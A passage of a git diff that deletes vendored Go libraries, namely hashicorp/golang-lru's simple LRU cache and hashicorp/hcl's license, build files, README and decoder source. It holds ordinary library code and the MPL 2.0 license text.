ent.Value.(*entry).value, true - } - return nil, ok -} - -// Remove removes the provided key from the cache, returning if the -// key was contained. -func (c *LRU) Remove(key interface{}) (present bool) { - if ent, ok := c.items[key]; ok { - c.removeElement(ent) - return true - } - return false -} - -// RemoveOldest removes the oldest item from the cache. -func (c *LRU) RemoveOldest() (key interface{}, value interface{}, ok bool) { - ent := c.evictList.Back() - if ent != nil { - c.removeElement(ent) - kv := ent.Value.(*entry) - return kv.key, kv.value, true - } - return nil, nil, false -} - -// GetOldest returns the oldest entry -func (c *LRU) GetOldest() (key interface{}, value interface{}, ok bool) { - ent := c.evictList.Back() - if ent != nil { - kv := ent.Value.(*entry) - return kv.key, kv.value, true - } - return nil, nil, false -} - -// Keys returns a slice of the keys in the cache, from oldest to newest. -func (c *LRU) Keys() []interface{} { - keys := make([]interface{}, len(c.items)) - i := 0 - for ent := c.evictList.Back(); ent != nil; ent = ent.Prev() { - keys[i] = ent.Value.(*entry).key - i++ - } - return keys -} - -// Len returns the number of items in the cache. -func (c *LRU) Len() int { - return c.evictList.Len() -} - -// removeOldest removes the oldest item from the cache. -func (c *LRU) removeOldest() { - ent := c.evictList.Back() - if ent != nil { - c.removeElement(ent) - } -} - -// removeElement is used to remove a given list element from the cache -func (c *LRU) removeElement(e *list.Element) { - c.evictList.Remove(e) - kv := e.Value.(*entry) - delete(c.items, kv.key) - if c.onEvict != nil { - c.onEvict(kv.key, kv.value) - } -} diff --git a/vendor/github.com/hashicorp/golang-lru/simplelru/lru_interface.go b/vendor/github.com/hashicorp/golang-lru/simplelru/lru_interface.go deleted file mode 100644 index 74c7077440..0000000000 --- a/vendor/github.com/hashicorp/golang-lru/simplelru/lru_interface.go +++ /dev/null @@ -1,36 +0,0 @@ -package simplelru - -// LRUCache is the interface for simple LRU cache. -type LRUCache interface { - // Adds a value to the cache, returns true if an eviction occurred and - // updates the "recently used"-ness of the key. - Add(key, value interface{}) bool - - // Returns key's value from the cache and - // updates the "recently used"-ness of the key. #value, isFound - Get(key interface{}) (value interface{}, ok bool) - - // Check if a key exsists in cache without updating the recent-ness. - Contains(key interface{}) (ok bool) - - // Returns key's value without updating the "recently used"-ness of the key. - Peek(key interface{}) (value interface{}, ok bool) - - // Removes a key from the cache. - Remove(key interface{}) bool - - // Removes the oldest entry from cache. - RemoveOldest() (interface{}, interface{}, bool) - - // Returns the oldest entry from the cache. #key, value, isFound - GetOldest() (interface{}, interface{}, bool) - - // Returns a slice of the keys in the cache, from oldest to newest. - Keys() []interface{} - - // Returns the number of items in the cache. - Len() int - - // Clear all cache entries - Purge() -} diff --git a/vendor/github.com/hashicorp/hcl/.gitignore b/vendor/github.com/hashicorp/hcl/.gitignore deleted file mode 100644 index 15586a2b54..0000000000 --- a/vendor/github.com/hashicorp/hcl/.gitignore +++ /dev/null @@ -1,9 +0,0 @@ -y.output - -# ignore intellij files -.idea -*.iml -*.ipr -*.iws - -*.test diff --git a/vendor/github.com/hashicorp/hcl/.travis.yml b/vendor/github.com/hashicorp/hcl/.travis.yml deleted file mode 100644 index cb63a32161..0000000000 --- a/vendor/github.com/hashicorp/hcl/.travis.yml +++ /dev/null @@ -1,13 +0,0 @@ -sudo: false - -language: go - -go: - - 1.x - - tip - -branches: - only: - - master - -script: make test diff --git a/vendor/github.com/hashicorp/hcl/LICENSE b/vendor/github.com/hashicorp/hcl/LICENSE deleted file mode 100644 index c33dcc7c92..0000000000 --- a/vendor/github.com/hashicorp/hcl/LICENSE +++ /dev/null @@ -1,354 +0,0 @@ -Mozilla Public License, version 2.0 - -1. Definitions - -1.1. “Contributor” - - means each individual or legal entity that creates, contributes to the - creation of, or owns Covered Software. - -1.2. “Contributor Version” - - means the combination of the Contributions of others (if any) used by a - Contributor and that particular Contributor’s Contribution. - -1.3. “Contribution” - - means Covered Software of a particular Contributor. - -1.4. “Covered Software” - - means Source Code Form to which the initial Contributor has attached the - notice in Exhibit A, the Executable Form of such Source Code Form, and - Modifications of such Source Code Form, in each case including portions - thereof. - -1.5. “Incompatible With Secondary Licenses” - means - - a. that the initial Contributor has attached the notice described in - Exhibit B to the Covered Software; or - - b. that the Covered Software was made available under the terms of version - 1.1 or earlier of the License, but not also under the terms of a - Secondary License. - -1.6. “Executable Form” - - means any form of the work other than Source Code Form. - -1.7. “Larger Work” - - means a work that combines Covered Software with other material, in a separate - file or files, that is not Covered Software. - -1.8. “License” - - means this document. - -1.9. “Licensable” - - means having the right to grant, to the maximum extent possible, whether at the - time of the initial grant or subsequently, any and all of the rights conveyed by - this License. - -1.10. “Modifications” - - means any of the following: - - a. any file in Source Code Form that results from an addition to, deletion - from, or modification of the contents of Covered Software; or - - b. any new file in Source Code Form that contains any Covered Software. - -1.11. “Patent Claims” of a Contributor - - means any patent claim(s), including without limitation, method, process, - and apparatus claims, in any patent Licensable by such Contributor that - would be infringed, but for the grant of the License, by the making, - using, selling, offering for sale, having made, import, or transfer of - either its Contributions or its Contributor Version. - -1.12. “Secondary License” - - means either the GNU General Public License, Version 2.0, the GNU Lesser - General Public License, Version 2.1, the GNU Affero General Public - License, Version 3.0, or any later versions of those licenses. - -1.13. “Source Code Form” - - means the form of the work preferred for making modifications. - -1.14. “You” (or “Your”) - - means an individual or a legal entity exercising rights under this - License. For legal entities, “You” includes any entity that controls, is - controlled by, or is under common control with You. For purposes of this - definition, “control” means (a) the power, direct or indirect, to cause - the direction or management of such entity, whether by contract or - otherwise, or (b) ownership of more than fifty percent (50%) of the - outstanding shares or beneficial ownership of such entity. - - -2. License Grants and Conditions - -2.1. Grants - - Each Contributor hereby grants You a world-wide, royalty-free, - non-exclusive license: - - a. under intellectual property rights (other than patent or trademark) - Licensable by such Contributor to use, reproduce, make available, - modify, display, perform, distribute, and otherwise exploit its - Contributions, either on an unmodified basis, with Modifications, or as - part of a Larger Work; and - - b. under Patent Claims of such Contributor to make, use, sell, offer for - sale, have made, import, and otherwise transfer either its Contributions - or its Contributor Version. - -2.2. Effective Date - - The licenses granted in Section 2.1 with respect to any Contribution become - effective for each Contribution on the date the Contributor first distributes - such Contribution. - -2.3. Limitations on Grant Scope - - The licenses granted in this Section 2 are the only rights granted under this - License. No additional rights or licenses will be implied from the distribution - or licensing of Covered Software under this License. Notwithstanding Section - 2.1(b) above, no patent license is granted by a Contributor: - - a. for any code that a Contributor has removed from Covered Software; or - - b. for infringements caused by: (i) Your and any other third party’s - modifications of Covered Software, or (ii) the combination of its - Contributions with other software (except as part of its Contributor - Version); or - - c. under Patent Claims infringed by Covered Software in the absence of its - Contributions. - - This License does not grant any rights in the trademarks, service marks, or - logos of any Contributor (except as may be necessary to comply with the - notice requirements in Section 3.4). - -2.4. Subsequent Licenses - - No Contributor makes additional grants as a result of Your choice to - distribute the Covered Software under a subsequent version of this License - (see Section 10.2) or under the terms of a Secondary License (if permitted - under the terms of Section 3.3). - -2.5. Representation - - Each Contributor represents that the Contributor believes its Contributions - are its original creation(s) or it has sufficient rights to grant the - rights to its Contributions conveyed by this License. - -2.6. Fair Use - - This License is not intended to limit any rights You have under applicable - copyright doctrines of fair use, fair dealing, or other equivalents. - -2.7. Conditions - - Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in - Section 2.1. - - -3. Responsibilities - -3.1. Distribution of Source Form - - All distribution of Covered Software in Source Code Form, including any - Modifications that You create or to which You contribute, must be under the - terms of this License. You must inform recipients that the Source Code Form - of the Covered Software is governed by the terms of this License, and how - they can obtain a copy of this License. You may not attempt to alter or - restrict the recipients’ rights in the Source Code Form. - -3.2. Distribution of Executable Form - - If You distribute Covered Software in Executable Form then: - - a. such Covered Software must also be made available in Source Code Form, - as described in Section 3.1, and You must inform recipients of the - Executable Form how they can obtain a copy of such Source Code Form by - reasonable means in a timely manner, at a charge no more than the cost - of distribution to the recipient; and - - b. You may distribute such Executable Form under the terms of this License, - or sublicense it under different terms, provided that the license for - the Executable Form does not attempt to limit or alter the recipients’ - rights in the Source Code Form under this License. - -3.3. Distribution of a Larger Work - - You may create and distribute a Larger Work under terms of Your choice, - provided that You also comply with the requirements of this License for the - Covered Software. If the Larger Work is a combination of Covered Software - with a work governed by one or more Secondary Licenses, and the Covered - Software is not Incompatible With Secondary Licenses, this License permits - You to additionally distribute such Covered Software under the terms of - such Secondary License(s), so that the recipient of the Larger Work may, at - their option, further distribute the Covered Software under the terms of - either this License or such Secondary License(s). - -3.4. Notices - - You may not remove or alter the substance of any license notices (including - copyright notices, patent notices, disclaimers of warranty, or limitations - of liability) contained within the Source Code Form of the Covered - Software, except that You may alter any license notices to the extent - required to remedy known factual inaccuracies. - -3.5. Application of Additional Terms - - You may choose to offer, and to charge a fee for, warranty, support, - indemnity or liability obligations to one or more recipients of Covered - Software. However, You may do so only on Your own behalf, and not on behalf - of any Contributor. You must make it absolutely clear that any such - warranty, support, indemnity, or liability obligation is offered by You - alone, and You hereby agree to indemnify every Contributor for any - liability incurred by such Contributor as a result of warranty, support, - indemnity or liability terms You offer. You may include additional - disclaimers of warranty and limitations of liability specific to any - jurisdiction. - -4. Inability to Comply Due to Statute or Regulation - - If it is impossible for You to comply with any of the terms of this License - with respect to some or all of the Covered Software due to statute, judicial - order, or regulation then You must: (a) comply with the terms of this License - to the maximum extent possible; and (b) describe the limitations and the code - they affect. Such description must be placed in a text file included with all - distributions of the Covered Software under this License. Except to the - extent prohibited by statute or regulation, such description must be - sufficiently detailed for a recipient of ordinary skill to be able to - understand it. - -5. Termination - -5.1. The rights granted under this License will terminate automatically if You - fail to comply with any of its terms. However, if You become compliant, - then the rights granted under this License from a particular Contributor - are reinstated (a) provisionally, unless and until such Contributor - explicitly and finally terminates Your grants, and (b) on an ongoing basis, - if such Contributor fails to notify You of the non-compliance by some - reasonable means prior to 60 days after You have come back into compliance. - Moreover, Your grants from a particular Contributor are reinstated on an - ongoing basis if such Contributor notifies You of the non-compliance by - some reasonable means, this is the first time You have received notice of - non-compliance with this License from such Contributor, and You become - compliant prior to 30 days after Your receipt of the notice. - -5.2. If You initiate litigation against any entity by asserting a patent - infringement claim (excluding declaratory judgment actions, counter-claims, - and cross-claims) alleging that a Contributor Version directly or - indirectly infringes any patent, then the rights granted to You by any and - all Contributors for the Covered Software under Section 2.1 of this License - shall terminate. - -5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user - license agreements (excluding distributors and resellers) which have been - validly granted by You or Your distributors under this License prior to - termination shall survive termination. - -6. Disclaimer of Warranty - - Covered Software is provided under this License on an “as is” basis, without - warranty of any kind, either expressed, implied, or statutory, including, - without limitation, warranties that the Covered Software is free of defects, - merchantable, fit for a particular purpose or non-infringing. The entire - risk as to the quality and performance of the Covered Software is with You. - Should any Covered Software prove defective in any respect, You (not any - Contributor) assume the cost of any necessary servicing, repair, or - correction. This disclaimer of warranty constitutes an essential part of this - License. No use of any Covered Software is authorized under this License - except under this disclaimer. - -7. Limitation of Liability - - Under no circumstances and under no legal theory, whether tort (including - negligence), contract, or otherwise, shall any Contributor, or anyone who - distributes Covered Software as permitted above, be liable to You for any - direct, indirect, special, incidental, or consequential damages of any - character including, without limitation, damages for lost profits, loss of - goodwill, work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses, even if such party shall have been - informed of the possibility of such damages. This limitation of liability - shall not apply to liability for death or personal injury resulting from such - party’s negligence to the extent applicable law prohibits such limitation. - Some jurisdictions do not allow the exclusion or limitation of incidental or - consequential damages, so this exclusion and limitation may not apply to You. - -8. Litigation - - Any litigation relating to this License may be brought only in the courts of - a jurisdiction where the defendant maintains its principal place of business - and such litigation shall be governed by laws of that jurisdiction, without - reference to its conflict-of-law provisions. Nothing in this Section shall - prevent a party’s ability to bring cross-claims or counter-claims. - -9. Miscellaneous - - This License represents the complete agreement concerning the subject matter - hereof. If any provision of this License is held to be unenforceable, such - provision shall be reformed only to the extent necessary to make it - enforceable. Any law or regulation which provides that the language of a - contract shall be construed against the drafter shall not be used to construe - this License against a Contributor. - - -10. Versions of the License - -10.1. New Versions - - Mozilla Foundation is the license steward. Except as provided in Section - 10.3, no one other than the license steward has the right to modify or - publish new versions of this License. Each version will be given a - distinguishing version number. - -10.2. Effect of New Versions - - You may distribute the Covered Software under the terms of the version of - the License under which You originally received the Covered Software, or - under the terms of any subsequent version published by the license - steward. - -10.3. Modified Versions - - If you create software not governed by this License, and you want to - create a new license for such software, you may create and use a modified - version of this License if you rename the license and remove any - references to the name of the license steward (except to note that such - modified license differs from this License). - -10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses - If You choose to distribute Source Code Form that is Incompatible With - Secondary Licenses under the terms of this version of the License, the - notice described in Exhibit B of this License must be attached. - -Exhibit A - Source Code Form License Notice - - This Source Code Form is subject to the - terms of the Mozilla Public License, v. - 2.0. If a copy of the MPL was not - distributed with this file, You can - obtain one at - http://mozilla.org/MPL/2.0/. - -If it is not possible or desirable to put the notice in a particular file, then -You may include the notice in a location (such as a LICENSE file in a relevant -directory) where a recipient would be likely to look for such a notice. - -You may add additional accurate notices of copyright ownership. - -Exhibit B - “Incompatible With Secondary Licenses” Notice - - This Source Code Form is “Incompatible - With Secondary Licenses”, as defined by - the Mozilla Public License, v. 2.0. - diff --git a/vendor/github.com/hashicorp/hcl/Makefile b/vendor/github.com/hashicorp/hcl/Makefile deleted file mode 100644 index 84fd743f5c..0000000000 --- a/vendor/github.com/hashicorp/hcl/Makefile +++ /dev/null @@ -1,18 +0,0 @@ -TEST?=./... - -default: test - -fmt: generate - go fmt ./... - -test: generate - go get -t ./... - go test $(TEST) $(TESTARGS) - -generate: - go generate ./... - -updatedeps: - go get -u golang.org/x/tools/cmd/stringer - -.PHONY: default generate test updatedeps diff --git a/vendor/github.com/hashicorp/hcl/README.md b/vendor/github.com/hashicorp/hcl/README.md deleted file mode 100644 index c8223326dd..0000000000 --- a/vendor/github.com/hashicorp/hcl/README.md +++ /dev/null @@ -1,125 +0,0 @@ -# HCL - -[![GoDoc](https://godoc.org/github.com/hashicorp/hcl?status.png)](https://godoc.org/github.com/hashicorp/hcl) [![Build Status](https://travis-ci.org/hashicorp/hcl.svg?branch=master)](https://travis-ci.org/hashicorp/hcl) - -HCL (HashiCorp Configuration Language) is a configuration language built -by HashiCorp. The goal of HCL is to build a structured configuration language -that is both human and machine friendly for use with command-line tools, but -specifically targeted towards DevOps tools, servers, etc. - -HCL is also fully JSON compatible. That is, JSON can be used as completely -valid input to a system expecting HCL. This helps makes systems -interoperable with other systems. - -HCL is heavily inspired by -[libucl](https://github.com/vstakhov/libucl), -nginx configuration, and others similar. - -## Why? - -A common question when viewing HCL is to ask the question: why not -JSON, YAML, etc.? - -Prior to HCL, the tools we built at [HashiCorp](http://www.hashicorp.com) -used a variety of configuration languages from full programming languages -such as Ruby to complete data structure languages such as JSON. What we -learned is that some people wanted human-friendly configuration languages -and some people wanted machine-friendly languages. - -JSON fits a nice balance in this, but is fairly verbose and most -importantly doesn't support comments. With YAML, we found that beginners -had a really hard time determining what the actual structure was, and -ended up guessing more often than not whether to use a hyphen, colon, etc. -in order to represent some configuration key. - -Full programming languages such as Ruby enable complex behavior -a configuration language shouldn't usually allow, and also forces -people to learn some set of Ruby. - -Because of this, we decided to create our own configuration language -that is JSON-compatible. Our configuration language (HCL) is designed -to be written and modified by humans. The API for HCL allows JSON -as an input so that it is also machine-friendly (machines can generate -JSON instead of trying to generate HCL). - -Our goal with HCL is not to alienate other configuration languages. -It is instead to provide HCL as a specialized language for our tools, -and JSON as the interoperability layer. - -## Syntax - -For a complete grammar, please see the parser itself. A high-level overview -of the syntax and grammar is listed here. - - * Single line comments start with `#` or `//` - - * Multi-line comments are wrapped in `/*` and `*/`. Nested block comments - are not allowed. A multi-line comment (also known as a block comment) - terminates at the first `*/` found. - - * Values are assigned with the syntax `key = value` (whitespace doesn't - matter). The value can be any primitive: a string, number, boolean, - object, or list. - - * Strings are double-quoted and can contain any UTF-8 characters. - Example: `"Hello, World"` - - * Multi-line strings start with `<- - echo %Path% - - go version - - go env - - go get -t ./... - -build_script: -- cmd: go test -v ./... diff --git a/vendor/github.com/hashicorp/hcl/decoder.go b/vendor/github.com/hashicorp/hcl/decoder.go deleted file mode 100644 index bed9ebbe14..0000000000 --- a/vendor/github.com/hashicorp/hcl/decoder.go +++ /dev/null @@ -1,729 +0,0 @@ -package hcl - -import ( - "errors" - "fmt" - "reflect" - "sort" - "strconv" - "strings" - - "github.com/hashicorp/hcl/hcl/ast" - "github.com/hashicorp/hcl/hcl/parser" - "github.com/hashicorp/hcl/hcl/token" -) - -// This is the tag to use with structures to have settings for HCL -const tagName = "hcl" - -var ( - // nodeType holds a reference to the type of ast.Node - nodeType reflect.Type = findNodeType() -) - -// Unmarshal accepts a byte slice as input and writes the -// data to the value pointed to by v. -func Unmarshal(bs []byte, v interface{}) error { - root, err := parse(bs) - if err != nil { - return err - } - - return DecodeObject(v, root) -} - -// Decode reads the given input and decodes it into the structure -// given by `out`. -func Decode(out interface{}, in string) error { - obj, err := Parse(in) - if err != nil { - return err - } - - return DecodeObject(out, obj) -} - -// DecodeObject is a lower-level version of Decode. It decodes a -// raw Object into the given output. -func DecodeObject(out interface{}, n ast.Node) error { - val := reflect.ValueOf(out) - if val.Kind() != reflect.Ptr { - return errors.New("result must be a pointer") - } - - // If we have the file, we really decode the root node - if f, ok := n.(*ast.File); ok { - n = f.Node - } - - var d decoder - return d.decode("root", n, val.Elem()) -} - -type decoder struct { - stack []reflect.Kind -} - -func (d *decoder) decode(name string, node ast.Node, result reflect.Value) error { - k := result - - // If we have an interface with a valid value, we use that - // for the check. - if result.Kind() == reflect.Interface { - elem := result.Elem() - if elem.IsValid() { - k = elem - } - } - - // Push current onto stack unless it is an interface. - if k.Kind() != reflect.Interface { - d.stack = append(d.stack, k.Kind()) - - // Schedule a pop - defer func() { - d.stack = d.stack[:len(d.stack)-1] - }() - } - - switch k.Kind() { - case reflect.Bool: - return d.decodeBool(name, node, result) - case reflect.Float32, reflect.Float64: - return d.decodeFloat(name, node, result) - case reflect.Int, reflect.Int32, reflect.Int64: - return d.decodeInt(name, node, result) - case reflect.Interface: - // When we see an interface, we make our own thing - return d.decodeInterface(name, node, result) - case reflect.Map: - return d.decodeMap(name, node, result) - case reflect.Ptr: - return d.decodePtr(name, node, result) - case reflect.Slice: - return d.decodeSlice(name, node, result) - case reflect.String: - return d.decodeString(name, node, result) - case reflect.Struct: - return d.decodeStruct(name, node, result) - default: - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unknown kind to decode into: %s", name, k.Kind()), - } - } -} - -func (d *decoder) decodeBool(name string, node ast.Node, result reflect.Value) error { - switch n := node.(type) { - case *ast.LiteralType: - if n.Token.Type == token.BOOL { - v, err := strconv.ParseBool(n.Token.Text) - if err != nil { - return err - } - - result.Set(reflect.ValueOf(v)) - return nil - } - } - - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unknown type %T", name, node), - } -} - -func (d *decoder) decodeFloat(name string, node ast.Node, result reflect.Value) error { - switch n := node.(type) { - case *ast.LiteralType: - if n.Token.Type == token.FLOAT || n.Token.Type == token.NUMBER { - v, err := strconv.ParseFloat(n.Token.Text, 64) - if err != nil { - return err - } - - result.Set(reflect.ValueOf(v).Convert(result.Type())) - return nil - } - } - - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unknown type %T", name, node), - } -} - -func (d *decoder) decodeInt(name string, node ast.Node, result reflect.Value) error { - switch n := node.(type) { - case *ast.LiteralType: - switch n.Token.Type { - case token.NUMBER: - v, err := strconv.ParseInt(n.Token.Text, 0, 0) - if err != nil { - return err - } - - if result.Kind() == reflect.Interface { - result.Set(reflect.ValueOf(int(v))) - } else { - result.SetInt(v) - } - return nil - case token.STRING: - v, err := strconv.ParseInt(n.Token.Value().(string), 0, 0) - if err != nil { - return err - } - - if result.Kind() == reflect.Interface { - result.Set(reflect.ValueOf(int(v))) - } else { - result.SetInt(v) - } - return nil - } - } - - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unknown type %T", name, node), - } -} - -func (d *decoder) decodeInterface(name string, node ast.Node, result reflect.Value) error { - // When we see an ast.Node, we retain the value to enable deferred decoding. - // Very useful in situations where we want to preserve ast.Node information - // like Pos - if result.Type() == nodeType && result.CanSet() { - result.Set(reflect.ValueOf(node)) - return nil - } - - var set reflect.Value - redecode := true - - // For testing types, ObjectType should just be treated as a list. We - // set this to a temporary var because we want to pass in the real node. - testNode := node - if ot, ok := node.(*ast.ObjectType); ok { - testNode = ot.List - } - - switch n := testNode.(type) { - case *ast.ObjectList: - // If we're at the root or we're directly within a slice, then we - // decode objects into map[string]interface{}, otherwise we decode - // them into lists. - if len(d.stack) == 0 || d.stack[len(d.stack)-1] == reflect.Slice { - var temp map[string]interface{} - tempVal := reflect.ValueOf(temp) - result := reflect.MakeMap( - reflect.MapOf( - reflect.TypeOf(""), - tempVal.Type().Elem())) - - set = result - } else { - var temp []map[string]interface{} - tempVal := reflect.ValueOf(temp) - result := reflect.MakeSlice( - reflect.SliceOf(tempVal.Type().Elem()), 0, len(n.Items)) - set = result - } - case *ast.ObjectType: - // If we're at the root or we're directly within a slice, then we - // decode objects into map[string]interface{}, otherwise we decode - // them into lists. - if len(d.stack) == 0 || d.stack[len(d.stack)-1] == reflect.Slice { - var temp map[string]interface{} - tempVal := reflect.ValueOf(temp) - result := reflect.MakeMap( - reflect.MapOf( - reflect.TypeOf(""), - tempVal.Type().Elem())) - - set = result - } else { - var temp []map[string]interface{} - tempVal := reflect.ValueOf(temp) - result := reflect.MakeSlice( - reflect.SliceOf(tempVal.Type().Elem()), 0, 1) - set = result - } - case *ast.ListType: - var temp []interface{} - tempVal := reflect.ValueOf(temp) - result := reflect.MakeSlice( - reflect.SliceOf(tempVal.Type().Elem()), 0, 0) - set = result - case *ast.LiteralType: - switch n.Token.Type { - case token.BOOL: - var result bool - set = reflect.Indirect(reflect.New(reflect.TypeOf(result))) - case token.FLOAT: - var result float64 - set = reflect.Indirect(reflect.New(reflect.TypeOf(result))) - case token.NUMBER: - var result int - set = reflect.Indirect(reflect.New(reflect.TypeOf(result))) - case token.STRING, token.HEREDOC: - set = reflect.Indirect(reflect.New(reflect.TypeOf(""))) - default: - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: cannot decode into interface: %T", name, node), - } - } - default: - return fmt.Errorf( - "%s: cannot decode into interface: %T", - name, node) - } - - // Set the result to what its supposed to be, then reset - // result so we don't reflect into this method anymore. - result.Set(set) - - if redecode { - // Revisit the node so that we can use the newly instantiated - // thing and populate it. - if err := d.decode(name, node, result); err != nil { - return err - } - } - - return nil -} - -func (d *decoder) decodeMap(name string, node ast.Node, result reflect.Value) error { - if item, ok := node.(*ast.ObjectItem); ok { - node = &ast.ObjectList{Items: []*ast.ObjectItem{item}} - } - - if ot, ok := node.(*ast.ObjectType); ok { - node = ot.List - } - - n, ok := node.(*ast.ObjectList) - if !ok { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: not an object type for map (%T)", name, node), - } - } - - // If we have an interface, then we can address the interface, - // but not the slice itself, so get the element but set the interface - set := result - if result.Kind() == reflect.Interface { - result = result.Elem() - } - - resultType := result.Type() - resultElemType := resultType.Elem() - resultKeyType := resultType.Key() - if resultKeyType.Kind() != reflect.String { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: map must have string keys", name), - } - } - - // Make a map if it is nil - resultMap := result - if result.IsNil() { - resultMap = reflect.MakeMap( - reflect.MapOf(resultKeyType, resultElemType)) - } - - // Go through each element and decode it. - done := make(map[string]struct{}) - for _, item := range n.Items { - if item.Val == nil { - continue - } - - // github.com/hashicorp/terraform/issue/5740 - if len(item.Keys) == 0 { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: map must have string keys", name), - } - } - - // Get the key we're dealing with, which is the first item - keyStr := item.Keys[0].Token.Value().(string) - - // If we've already processed this key, then ignore it - if _, ok := done[keyStr]; ok { - continue - } - - // Determine the value. If we have more than one key, then we - // get the objectlist of only these keys. - itemVal := item.Val - if len(item.Keys) > 1 { - itemVal = n.Filter(keyStr) - done[keyStr] = struct{}{} - } - - // Make the field name - fieldName := fmt.Sprintf("%s.%s", name, keyStr) - - // Get the key/value as reflection values - key := reflect.ValueOf(keyStr) - val := reflect.Indirect(reflect.New(resultElemType)) - - // If we have a pre-existing value in the map, use that - oldVal := resultMap.MapIndex(key) - if oldVal.IsValid() { - val.Set(oldVal) - } - - // Decode! - if err := d.decode(fieldName, itemVal, val); err != nil { - return err - } - - // Set the value on the map - resultMap.SetMapIndex(key, val) - } - - // Set the final map if we can - set.Set(resultMap) - return nil -} - -func (d *decoder) decodePtr(name string, node ast.Node, result reflect.Value) error { - // Create an element of the concrete (non pointer) type and decode - // into that. Then set the value of the pointer to this type. - resultType := result.Type() - resultElemType := resultType.Elem() - val := reflect.New(resultElemType) - if err := d.decode(name, node, reflect.Indirect(val)); err != nil { - return err - } - - result.Set(val) - return nil -} - -func (d *decoder) decodeSlice(name string, node ast.Node, result reflect.Value) error { - // If we have an interface, then we can address the interface, - // but not the slice itself, so get the element but set the interface - set := result - if result.Kind() == reflect.Interface { - result = result.Elem() - } - // Create the slice if it isn't nil - resultType := result.Type() - resultElemType := resultType.Elem() - if result.IsNil() { - resultSliceType := reflect.SliceOf(resultElemType) - result = reflect.MakeSlice( - resultSliceType, 0, 0) - } - - // Figure out the items we'll be copying into the slice - var items []ast.Node - switch n := node.(type) { - case *ast.ObjectList: - items = make([]ast.Node, len(n.Items)) - for i, item := range n.Items { - items[i] = item - } - case *ast.ObjectType: - items = []ast.Node{n} - case *ast.ListType: - items = n.List - default: - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("unknown slice type: %T", node), - } - } - - for i, item := range items { - fieldName := fmt.Sprintf("%s[%d]", name, i) - - // Decode - val := reflect.Indirect(reflect.New(resultElemType)) - - // if item is an object that was decoded from ambiguous JSON and - // flattened, make sure it's expanded if it needs to decode into a - // defined structure. - item := expandObject(item, val) - - if err := d.decode(fieldName, item, val); err != nil { - return err - } - - // Append it onto the slice - result = reflect.Append(result, val) - } - - set.Set(result) - return nil -} - -// expandObject detects if an ambiguous JSON object was flattened to a List which -// should be decoded into a struct, and expands the ast to properly deocode. -func expandObject(node ast.Node, result reflect.Value) ast.Node { - item, ok := node.(*ast.ObjectItem) - if !ok { - return node - } - - elemType := result.Type() - - // our target type must be a struct - switch elemType.Kind() { - case reflect.Ptr: - switch elemType.Elem().Kind() { - case reflect.Struct: - //OK - default: - return node - } - case reflect.Struct: - //OK - default: - return node - } - - // A list value will have a key and field name. If it had more fields, - // it wouldn't have been flattened. - if len(item.Keys) != 2 { - return node - } - - keyToken := item.Keys[0].Token - item.Keys = item.Keys[1:] - - // we need to un-flatten the ast enough to decode - newNode := &ast.ObjectItem{ - Keys: []*ast.ObjectKey{ - &ast.ObjectKey{ - Token: keyToken, - }, - }, - Val: &ast.ObjectType{ - List: &ast.ObjectList{ - Items: []*ast.ObjectItem{item}, - }, - }, - } - - return newNode -} - -func (d *decoder) decodeString(name string, node ast.Node, result reflect.Value) error { - switch n := node.(type) { - case *ast.LiteralType: - switch n.Token.Type { - case token.NUMBER: - result.Set(reflect.ValueOf(n.Token.Text).Convert(result.Type())) - return nil - case token.STRING, token.HEREDOC: - result.Set(reflect.ValueOf(n.Token.Value()).Convert(result.Type())) - return nil - } - } - - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unknown type for string %T", name, node), - } -} - -func (d *decoder) decodeStruct(name string, node ast.Node, result reflect.Value) error { - var item *ast.ObjectItem - if it, ok := node.(*ast.ObjectItem); ok { - item = it - node = it.Val - } - - if ot, ok := node.(*ast.ObjectType); ok { - node = ot.List - } - - // Handle the special case where the object itself is a literal. Previously - // the yacc parser would always ensure top-level elements were arrays. The new - // parser does not make the same guarantees, thus we need to convert any - // top-level literal elements into a list. - if _, ok := node.(*ast.LiteralType); ok && item != nil { - node = &ast.ObjectList{Items: []*ast.ObjectItem{item}} - } - - list, ok := node.(*ast.ObjectList) - if !ok { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: not an object type for struct (%T)", name, node), - } - } - - // This slice will keep track of all the structs we'll be decoding. - // There can be more than one struct if there are embedded structs - // that are squashed. - structs := make([]reflect.Value, 1, 5) - structs[0] = result - - // Compile the list of all the fields that we're going to be decoding - // from all the structs. - type field struct { - field reflect.StructField - val reflect.Value - } - fields := []field{} - for len(structs) > 0 { - structVal := structs[0] - structs = structs[1:] - - structType := structVal.Type() - for i := 0; i < structType.NumField(); i++ { - fieldType := structType.Field(i) - tagParts := strings.Split(fieldType.Tag.Get(tagName), ",") - - // Ignore fields with tag name "-" - if tagParts[0] == "-" { - continue - } - - if fieldType.Anonymous { - fieldKind := fieldType.Type.Kind() - if fieldKind != reflect.Struct { - return &parser.PosError{ - Pos: node.Pos(), - Err: fmt.Errorf("%s: unsupported type to struct: %s", - fieldType.Name, fieldKind), - } - } - - // We have an embedded field. We "squash" the fields down - // if specified in the tag. - squash := false - for _, tag := range tagParts[1:] { - if tag == "squash" { - squash = true - break - } - } - - if squash { - structs = append( - structs, result.FieldByName(fieldType.Name)) - continue - } - } - - // Normal struct field, store it away - fields = append(fields, field{fieldType, structVal.Field(i)}) - } - } - - usedKeys := make(map[string]struct{}) - decodedFields := make([]string, 0, len(fields)) - decodedFieldsVal := make([]reflect.Value, 0) - unusedKeysVal := make([]reflect.Value, 0) - for _, f := range fields { - field, fieldValue := f.field, f.val - if !fieldValue.IsValid() { - // This should never happen - panic("field is not valid") - } - - // If we can't set the field, then it is unexported or something, - // and we just continue onwards. - if 